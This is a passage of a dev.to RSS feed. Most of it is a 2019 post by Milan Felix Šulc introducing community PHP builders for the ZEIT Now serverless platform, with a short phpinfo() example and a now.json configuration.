      &lt;/span&gt;&lt;span class="nl"&gt;"runtime"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"now-php@0.0.7"&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;Finally you can call &lt;code&gt;now&lt;/code&gt; command and see what happened.&lt;/p&gt;

&lt;p&gt;View this &lt;a href="https://github.com/juicyfx/now-examples"&gt;example on Github&lt;/a&gt;.&lt;/p&gt;

</description>
      <category>php</category>
      <category>deployment</category>
      <category>static</category>
      <category>serverless</category>
    </item>
    <item>
      <title>Bleeding Edge PHP on ZEIT Now</title>
      <dc:creator>Milan Felix Šulc</dc:creator>
      <pubDate>Sun, 07 Jul 2019 16:11:03 +0000</pubDate>
      <link>https://dev.to/nx1/bleeding-edge-php-on-zeit-now-565g</link>
      <guid>https://dev.to/nx1/bleeding-edge-php-on-zeit-now-565g</guid>
      <description>&lt;p&gt;Today I would like to show you ZEIT Now platform. Well, you've probably heard about it. There are many blogposts about this awesome piece of technology (&lt;a href="https://dev.to/search?q=zeit%20now"&gt;https://dev.to/search?q=zeit%20now&lt;/a&gt;).&lt;/p&gt;

&lt;p&gt;But, I have some good news for PHP devs. Since June (06/2019) I am working on the enhanced PHP builders for ZEIT Now.&lt;/p&gt;

&lt;p&gt;These builders support:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;multiple PHP versions (7.2.20, 7.3.7, 7.4.0alpha2) 🚀

&lt;ul&gt;
&lt;li&gt;official PHP builder is 7.1.22&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;
&lt;li&gt;multiple running modes (server, cgi, cli, fpm) 🧙‍♂️

&lt;ul&gt;
&lt;li&gt;just pick whatever you like&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;
&lt;li&gt;many preinstalled PHP extensions 📦&lt;/li&gt;
&lt;li&gt;install dependencies via Composer 🤩&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The updated builders you can find at the Github &lt;a href="https://github.com/juicyfx/now-php"&gt;juicyfx/now-php&lt;/a&gt; and I would appreciate any feedback.&lt;/p&gt;

&lt;p&gt;How to test it? Take a look at &lt;a href="https://github.com/juicyfx/now-php/tree/master/examples"&gt;examples&lt;/a&gt;&lt;/p&gt;




&lt;p&gt;How to deploy under 1 minute? Create &lt;code&gt;index.php&lt;/code&gt; and &lt;code&gt;now.json&lt;/code&gt; in your project's folder. If you're not familiar with ZEIT Now, &lt;a href="https://zeit.co/now"&gt;take a look&lt;/a&gt; at official website.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;?php&lt;/span&gt; 

&lt;span class="nb"&gt;phpinfo&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;





&lt;div class="highlight"&gt;&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"version"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"builds"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"src"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"old.php"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"use"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"@now/php"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"src"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"new.php"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"use"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"now-php"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;Yep, that's all. And now call &lt;code&gt;now&lt;/code&gt;. 🤓&lt;/p&gt;

&lt;p&gt;You should saw something like that.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--4MZ9w3hZ--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://thepracticaldev.s3.amazonaws.com/i/oyvm8n1l6m360q2b2bfn.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--4MZ9w3hZ--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://thepracticaldev.s3.amazonaws.com/i/oyvm8n1l6m360q2b2bfn.png" alt=""&gt;&lt;/a&gt;&lt;/p&gt;




&lt;p&gt;At the end, some examples.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;official - &lt;a href="https://php.now.sh/"&gt;https://php.now.sh/&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;phpinfo - &lt;a href="https://php.jfx.cz/"&gt;https://php.jfx.cz/&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;extensions - &lt;a href="https://php.jfx.cz/ext/"&gt;https://php.jfx.cz/ext/&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;ini - &lt;a href="https://php.jfx.cz/ini/"&gt;https://php.jfx.cz/ini/&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;JSON API - &lt;a href="https://php.jfx.cz/api/users.php"&gt;https://php.jfx.cz/api/users.php&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;test - &lt;a href="https://php.jfx.cz/test.php"&gt;https://php.jfx.cz/test.php&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;I'm also testing Caddy server with FPM and &lt;a href="http://bref.sh"&gt;Bref.sh&lt;/a&gt;. There are many features you might be looking for.&lt;/p&gt;




&lt;p&gt;PHP builder was separated from zeit/now-builders to solo repository - &lt;a href="https://github.com/juicyfx/now-php"&gt;https://github.com/juicyfx/now-php&lt;/a&gt;. Take a look.&lt;/p&gt;




&lt;p&gt;Happy testing,&lt;br&gt;
Felix&lt;/p&gt;

</description>
      <category>php</category>
      <category>static</category>
      <category>deployment</category>
      <category>serverless</category>
    </item>
  </channel>
</rss>
